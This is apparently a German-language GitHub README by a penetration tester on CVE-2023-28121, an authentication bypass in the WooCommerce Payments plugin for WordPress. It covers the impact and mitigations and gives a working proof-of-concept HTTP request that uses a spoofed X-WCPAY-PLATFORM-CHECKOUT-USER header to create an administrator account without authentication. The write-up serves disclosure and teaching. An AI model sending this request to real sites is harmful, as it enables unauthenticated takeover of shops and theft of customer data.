🔐 CVE-2023-28121 — WordPress Privilege Escalation

Praktische Ausnutzung einer kritischen Schwachstelle in WordPress mithilfe des Plugins WooCommerce Payments.

---

📌 Zusammenfassung

Die CVE-2023-28121 ermöglicht die Erstellung von Administrator-Benutzern ohne Authentifizierung über die REST API.

• Schweregrad: Kritisch (CVSS 9.8)
• Auswirkung: Volle Kontrolle über die Website
• Typ: Authentication Bypass / Privilege Escalation
• +600.000 aktive Installationen - März 2023 https://www.wiz.io/vulnerability-database/cve/cve-2023-28121?utm_source=chatgpt.com

📊 Das betroffene Plugin hat Hunderttausende Installationen und wird häufig im E-Commerce eingesetzt.

---

🎥 Demonstration

https://github.com/user-attachments/assets/cead3884-0924-4320-967f-de9fb3f6cd44

---

⚠️ So funktioniert es

Das System akzeptiert einen manipulierbaren Header:

X-WCPAY-PLATFORM-CHECKOUT-USER: 1

Dadurch ist es möglich, eine Anfrage zur Erstellung eines Benutzers mit erweiterten Rechten ohne gültige Authentifizierung zu senden.

---

🧪 PoC

POST /wp-json/wp/v2/users
Content-Type: application/json
X-WCPAY-PLATFORM-CHECKOUT-USER: 1

{
  "username": "hacked",
  "password": "StrongPass123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

✔️ Ergebnis: Erstellung eines Admin-Benutzers

---

🔥 Auswirkungen

• Erstellung eines Administrators
• Zugriff auf das Admin-Panel /wp-admin
• Mögliche vollständige Übernahme
• Risiko von Betrug und Datenlecks

---

🛠️ Gegenmaßnahmen

• Plugin auf die korrigierte Version aktualisieren
• Zugriff auf die REST API einschränken
• Authentifizierung korrekt validieren

---

🧱 Umgebung

• WordPress (lokales Labor)
• WooCommerce Payments (verwundbare Version)

---

📚 Referenzen

• CVE-2023-28121
• Dokumentation der WordPress-REST-API
• https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/

---

👨‍💻 Autor

Luis Eduardo .M.B.S.R

Pentester / Web Security

LinkedIn: https://www.linkedin.com/in/luis-eduardo-ti/

GitHub: https://github.com/luisdevpentest

⚖️ Haftungsausschluss

Verwendung zu Bildungszwecken in kontrollierter Umgebung. Ich übernehme keine Verantwortung dafür, wie dieses Wissen von Dritten verwendet wird.

---